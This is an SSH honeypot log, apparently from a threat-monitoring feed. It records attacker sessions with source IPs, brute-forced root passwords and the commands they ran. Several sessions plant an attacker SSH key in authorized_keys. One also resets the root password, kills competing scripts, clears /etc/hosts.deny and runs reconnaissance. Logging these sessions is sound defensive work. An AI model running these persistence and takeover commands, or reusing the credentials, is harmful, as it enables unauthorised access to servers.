HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "951a7d4a2211",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:02:37.807157Z",
  "end_time": "2026-10-05T02:02:40.822589Z",
  "duration": "3.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

180.106.80.16

2026-10-05 02:02:34.584537 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / montecarlo

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 871c4428f6e1

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.0s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "871c4428f6e1",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:02:34.584537Z",
  "end_time": "2026-10-05T02:02:42.571857Z",
  "duration": "8.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "montecarlo"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

149.107.243.123

2026-10-05 02:02:27.791348 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cd201f20e5ba

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "cd201f20e5ba",
  "src_ip": "149.107.243.123",
  "start_time": "2026-10-05T02:02:27.791348Z",
  "end_time": "2026-10-05T02:02:27.794781Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

69.5.169.134

2026-10-05 02:02:05.955657 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 38d89c473bad

Client Version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8

Engagement Duration: 0.3s

HASSH Fingerprint: bc9e7273cde22b1209d6673b5fd10bd5

{
  "id": "38d89c473bad",
  "src_ip": "69.5.169.134",
  "start_time": "2026-10-05T02:02:05.955657Z",
  "end_time": "2026-10-05T02:02:06.296215Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
  "hassh": "bc9e7273cde22b1209d6673b5fd10bd5",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

217.146.80.126

2026-10-05 02:01:53.038588 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e6eb74acdd2b

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "e6eb74acdd2b",
  "src_ip": "217.146.80.126",
  "start_time": "2026-10-05T02:01:53.038588Z",
  "end_time": "2026-10-05T02:01:53.177654Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

180.106.80.16

2026-10-05 02:00:21.360666 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e8cacd3e3a27

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "e8cacd3e3a27",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T02:00:21.360666Z",
  "end_time": "2026-10-05T02:02:21.380047Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

2.188.206.146

2026-10-05 02:00:06.242138 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubunt

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: f6ddc4de0803

Client Version: SSH-2.0-Go

Engagement Duration: 3.4s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "f6ddc4de0803",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T02:00:06.242138Z",
  "end_time": "2026-10-05T02:00:09.671174Z",
  "duration": "3.4",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubunt"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 01:58:07.786308 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vicky

Record ID: 60d190eb284b

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 3.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "60d190eb284b",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:58:07.786308Z",
  "end_time": "2026-10-05T01:58:10.893469Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "vicky",
      "pass": "vicky123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

180.106.80.16

2026-10-05 01:55:53.993384 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4f73c05022ac

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "4f73c05022ac",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:55:53.993384Z",
  "end_time": "2026-10-05T01:57:54.004633Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 01:53:38.938899 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a9f034223c3f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a9f034223c3f",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:53:38.938899Z",
  "end_time": "2026-10-05T01:55:38.995665Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 01:51:36.330248 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7250b66ec5d4

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7250b66ec5d4",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:51:36.330248Z",
  "end_time": "2026-10-05T01:53:36.341019Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 01:51:30.282213 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a25debdd96c4

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a25debdd96c4",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:51:30.282213Z",
  "end_time": "2026-10-05T01:53:30.289893Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 01:51:26.255391 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: root / Huawei2024

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:1hUt8hLK112f"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: d24c41f0aac5

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 26.6s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "d24c41f0aac5",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:51:26.255391Z",
  "end_time": "2026-10-05T01:51:52.861851Z",
  "duration": "26.6",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Huawei2024"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:1hUt8hLK112f\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:1hUt8hLK112f\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

2.188.206.146

2026-10-05 01:50:44.279395 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / root@0987654321

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 6bfdf101c91b

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "6bfdf101c91b",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T01:50:44.279395Z",
  "end_time": "2026-10-05T01:50:46.599254Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root@0987654321"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 01:49:10.466030 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b60b3fe39602

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b60b3fe39602",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:49:10.466030Z",
  "end_time": "2026-10-05T01:51:10.494147Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 01:46:57.066054 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 849350a38f3d

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "849350a38f3d",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:46:57.066054Z",
  "end_time": "2026-10-05T01:48:57.072088Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

216.218.206.67

2026-10-05 01:46:21.819560 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 46ebc71f7df0

Client Version: {w\xbe\xf9\xf6#\x91\xe25\xd1\xfeu\xfe$GCn.S\xcb5ym\xf9\x8d\xee\x9d\xec\xb6\xea?\xfe\xc0/\xc0+\xc0\xc0\xc0\xc0 \xc0\xc0

Engagement Duration: 0.0s

{
  "id": "46ebc71f7df0",
  "src_ip": "216.218.206.67",
  "start_time": "2026-10-05T01:46:21.819560Z",
  "end_time": "2026-10-05T01:46:21.844794Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xbe\\xf9\\xf6#\\x91\\xe25\\xd1\\xfe\u001e\u007fu\\xfe$GCn.S\\xcb5ym\\xf9\\x8d\\xee\\x9d\\xec\\xb6\\xea?\\xfe\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

180.106.80.16

2026-10-05 01:44:41.437572 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4665fb6cc16f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "4665fb6cc16f",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:44:41.437572Z",
  "end_time": "2026-10-05T01:46:41.456250Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

180.106.80.16

2026-10-05 01:42:27.435711 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7636aba656d0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7636aba656d0",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:42:27.435711Z",
  "end_time": "2026-10-05T01:44:27.479518Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

2.188.206.146

2026-10-05 01:41:23.675821 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / root@987654321

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec

Record ID: 863bf99bb996

Client Version: SSH-2.0-Go

Engagement Duration: 3.8s

HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6

{
  "id": "863bf99bb996",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T01:41:23.675821Z",
  "end_time": "2026-10-05T01:41:27.448410Z",
  "duration": "3.8",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root@987654321"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

180.106.80.16

2026-10-05 01:40:13.092231 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 84c733acf334

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "84c733acf334",
  "src_ip": "180.106.80.16",
  "start_time": "2026-10-05T01:40:13.092231Z",
  "end_time": "2026-10-05T01:42:13.107320Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}